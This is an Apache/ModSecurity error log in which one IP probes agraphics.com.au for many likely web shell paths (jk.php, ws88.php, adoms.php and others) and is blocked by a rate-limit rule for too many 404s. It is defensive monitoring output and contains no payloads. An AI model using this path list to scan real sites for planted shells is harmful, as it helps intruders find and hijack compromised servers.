[Thu Apr 23 21:20:47.794096 2026] [:error] [pid 43083:tid 43094] [client 158.158.123.88:52980] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeocrzC5hrvNXosL83J4CgAAAMk"]
[Thu Apr 23 21:20:49.655814 2026] [:error] [pid 64967:tid 64976] [client 158.158.123.88:52914] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocsYAV4GfOOdX8Qzp1ZwAAAYc"]
[Thu Apr 23 21:20:50.138335 2026] [:error] [pid 46953:tid 46956] [client 158.158.123.88:52966] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeocsknlpdHh-P6wKbo4qQAAAkA"]
[Thu Apr 23 21:20:50.199208 2026] [:error] [pid 42972:tid 43039] [client 158.158.123.88:51013] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocssOAb-3sOknsk4c7IAAAAFc"]
[Thu Apr 23 21:20:51.524936 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:26859] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocs76vRb9j6psK2ZaE7gAAAgg"]
[Thu Apr 23 21:20:53.833263 2026] [:error] [pid 43083:tid 43085] [client 158.158.123.88:45351] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoctTC5hrvNXosL83J4EAAAAMA"]
[Thu Apr 23 21:20:53.920814 2026] [:error] [pid 43083:tid 43107] [client 158.158.123.88:4691] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoctTC5hrvNXosL83J4EQAAANY"]
[Thu Apr 23 21:20:56.361338 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:26206] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocuIV5EysYcTLjmwh6KQAAAdE"]
[Thu Apr 23 21:20:56.477843 2026] [:error] [pid 64998:tid 65022] [client 158.158.123.88:26852] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeocuIV5EysYcTLjmwh6KgAAAdQ"]
[Thu Apr 23 21:20:57.491873 2026] [:error] [pid 42972:tid 43031] [client 158.158.123.88:4732] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeocucOAb-3sOknsk4c7KQAAAE8"]
[Thu Apr 23 21:20:57.723319 2026] [:error] [pid 42973:tid 43053] [client 158.158.123.88:47796] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocuW6I0QqmmmLTHE0aZQAAAIo"]
[Thu Apr 23 21:20:58.082248 2026] [:error] [pid 42973:tid 43062] [client 158.158.123.88:60411] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeocum6I0QqmmmLTHE0aZwAAAJM"]
[Thu Apr 23 21:20:58.640320 2026] [:error] [pid 65000:tid 65044] [client 158.158.123.88:46664] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocur6vRb9j6psK2ZaFJAAAAgs"]
[Thu Apr 23 21:20:58.677438 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:47781] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeocur6vRb9j6psK2ZaFJQAAAhU"]
[Thu Apr 23 21:20:59.337661 2026] [:error] [pid 42973:tid 43044] [client 158.158.123.88:45315] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocu26I0QqmmmLTHE0aagAAAIE"]
[Thu Apr 23 21:20:59.459971 2026] [:error] [pid 64998:tid 65023] [client 158.158.123.88:24945] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeocu4V5EysYcTLjmwh6MwAAAdU"]
[Thu Apr 23 21:21:00.007620 2026] [:error] [pid 42972:tid 43035] [client 158.158.123.88:52264] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocvMOAb-3sOknsk4c7LQAAAFM"]
[Thu Apr 23 21:21:00.031720 2026] [:error] [pid 42972:tid 43017] [client 158.158.123.88:46673] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeocvMOAb-3sOknsk4c7LgAAAEE"]
[Thu Apr 23 21:21:00.636841 2026] [:error] [pid 42973:tid 43057] [client 158.158.123.88:5046] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeocvG6I0QqmmmLTHE0abAAAAI4"]
[Thu Apr 23 21:21:00.680096 2026] [:error] [pid 65000:tid 65029] [client 158.158.123.88:45356] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeocvL6vRb9j6psK2ZaFNgAAAgA"]
[Thu Apr 23 21:21:01.554277 2026] [proxy_fcgi:error] [pid 42972:tid 43028] [client 158.158.123.88:52250] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:01.740332 2026] [proxy_fcgi:error] [pid 64998:tid 65010] [client 158.158.123.88:26866] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:01.822721 2026] [proxy_fcgi:error] [pid 42972:tid 43036] [client 158.158.123.88:52250] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:02.004759 2026] [proxy_fcgi:error] [pid 64998:tid 65019] [client 158.158.123.88:26866] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:02.125449 2026] [proxy_fcgi:error] [pid 42972:tid 43021] [client 158.158.123.88:52250] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:02.267131 2026] [proxy_fcgi:error] [pid 64998:tid 65008] [client 158.158.123.88:26866] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:02.406334 2026] [proxy_fcgi:error] [pid 42972:tid 43037] [client 158.158.123.88:52250] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:02.671294 2026] [proxy_fcgi:error] [pid 42972:tid 43030] [client 158.158.123.88:52250] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:02.704776 2026] [proxy_fcgi:error] [pid 64998:tid 65009] [client 158.158.123.88:26866] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:02.947878 2026] [proxy_fcgi:error] [pid 64998:tid 65017] [client 158.158.123.88:26866] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:03.016664 2026] [proxy_fcgi:error] [pid 42972:tid 43027] [client 158.158.123.88:52250] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:21:03.187010 2026] [:error] [pid 64998:tid 65025] [client 158.158.123.88:26866] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocv4V5EysYcTLjmwh6QAAAAdc"]
[Thu Apr 23 21:21:03.278146 2026] [:error] [pid 42972:tid 43023] [client 158.158.123.88:52250] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeocv8OAb-3sOknsk4c7NgAAAEc"]
[Thu Apr 23 21:21:03.924287 2026] [:error] [pid 42972:tid 43024] [client 158.158.123.88:60384] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeocv8OAb-3sOknsk4c7OAAAAEg"]
[Thu Apr 23 21:21:04.239060 2026] [:error] [pid 42972:tid 43018] [client 158.158.123.88:27504] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocwMOAb-3sOknsk4c7OwAAAEI"]
[Thu Apr 23 21:21:04.579994 2026] [:error] [pid 42973:tid 43043] [client 158.158.123.88:45364] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeocwG6I0QqmmmLTHE0acwAAAIA"]
[Thu Apr 23 21:21:04.757740 2026] [:error] [pid 42973:tid 43062] [client 158.158.123.88:4709] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocwG6I0QqmmmLTHE0adQAAAJM"]
[Thu Apr 23 21:21:05.160092 2026] [:error] [pid 42972:tid 43020] [client 158.158.123.88:41926] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeocwcOAb-3sOknsk4c7PgAAAEQ"]
[Thu Apr 23 21:21:05.282312 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:27461] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocwb6vRb9j6psK2ZaFTgAAAhA"]
[Thu Apr 23 21:21:05.695571 2026] [:error] [pid 65000:tid 65042] [client 158.158.123.88:52273] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeocwb6vRb9j6psK2ZaFUQAAAgk"]
[Thu Apr 23 21:21:05.931943 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:4707] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocwb6vRb9j6psK2ZaFVgAAAgM"]
[Thu Apr 23 21:21:06.226359 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:52228] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeocwr6vRb9j6psK2ZaFWgAAAgg"]
[Thu Apr 23 21:21:06.658611 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:60377] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocwr6vRb9j6psK2ZaFXgAAAgw"]
[Thu Apr 23 21:21:06.744775 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:60338] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeocwr6vRb9j6psK2ZaFYQAAAg4"]
[Thu Apr 23 21:21:07.245645 2026] [:error] [pid 42973:tid 43052] [client 158.158.123.88:60301] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeocw26I0QqmmmLTHE0aeQAAAIk"]
[Thu Apr 23 21:21:07.464449 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:26195] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocw76vRb9j6psK2ZaFaQAAAhg"]
[Thu Apr 23 21:21:07.786747 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:45330] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeocw4V5EysYcTLjmwh6RgAAAc4"]
[Thu Apr 23 21:21:08.183789 2026] [:error] [pid 43083:tid 43102] [client 158.158.123.88:60352] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocxDC5hrvNXosL83J4GAAAANE"]
[Thu Apr 23 21:21:08.663876 2026] [:error] [pid 42973:tid 43043] [client 158.158.123.88:51069] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeocxG6I0QqmmmLTHE0agwAAAIA"]
[Thu Apr 23 21:21:09.009746 2026] [:error] [pid 42973:tid 43051] [client 158.158.123.88:52251] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocxW6I0QqmmmLTHE0ahAAAAIg"]
[Thu Apr 23 21:21:09.440449 2026] [:error] [pid 42973:tid 43065] [client 158.158.123.88:27458] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeocxW6I0QqmmmLTHE0ahgAAAJY"]
[Thu Apr 23 21:21:10.267504 2026] [:error] [pid 64967:tid 64969] [client 158.158.123.88:60380] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeocxoAV4GfOOdX8Qzp1awAAAYA"]
[Thu Apr 23 21:21:11.359624 2026] [:error] [pid 65000:tid 65052] [client 158.158.123.88:43256] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeocx76vRb9j6psK2ZaFiQAAAhM"]
[Thu Apr 23 21:21:11.775733 2026] [:error] [pid 59700:tid 59726] [client 158.158.123.88:4705] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocx5XyGZJFeAIDWtkoxAAAAVg"]
[Thu Apr 23 21:21:12.624180 2026] [:error] [pid 64998:tid 65022] [client 158.158.123.88:48299] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocyIV5EysYcTLjmwh6TQAAAdQ"]
[Thu Apr 23 21:21:13.556972 2026] [:error] [pid 64967:tid 64973] [client 158.158.123.88:28686] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeocyYAV4GfOOdX8Qzp1bAAAAYQ"]
[Thu Apr 23 21:21:14.045347 2026] [:error] [pid 64998:tid 65017] [client 158.158.123.88:48288] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeocyoV5EysYcTLjmwh6UAAAAc8"]
[Thu Apr 23 21:21:14.797858 2026] [:error] [pid 43083:tid 43090] [client 158.158.123.88:27487] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeocyjC5hrvNXosL83J4GgAAAMU"]
[Thu Apr 23 21:21:15.318261 2026] [:error] [pid 43083:tid 43098] [client 158.158.123.88:48265] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeocyzC5hrvNXosL83J4GwAAAM0"]
[Thu Apr 23 21:21:16.003976 2026] [:error] [pid 43083:tid 43089] [client 158.158.123.88:28733] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoczDC5hrvNXosL83J4HQAAAMQ"]
[Thu Apr 23 21:21:16.662179 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:48295] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoczL6vRb9j6psK2ZaFqQAAAhA"]
[Thu Apr 23 21:21:17.251624 2026] [:error] [pid 65000:tid 65042] [client 158.158.123.88:47762] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoczb6vRb9j6psK2ZaFsQAAAgk"]
[Thu Apr 23 21:21:18.269566 2026] [:error] [pid 59700:tid 59720] [client 158.158.123.88:43207] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoczpXyGZJFeAIDWtko0QAAAVI"]
[Thu Apr 23 21:21:18.812870 2026] [:error] [pid 65000:tid 65046] [client 158.158.123.88:48305] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoczr6vRb9j6psK2ZaFvwAAAg0"]
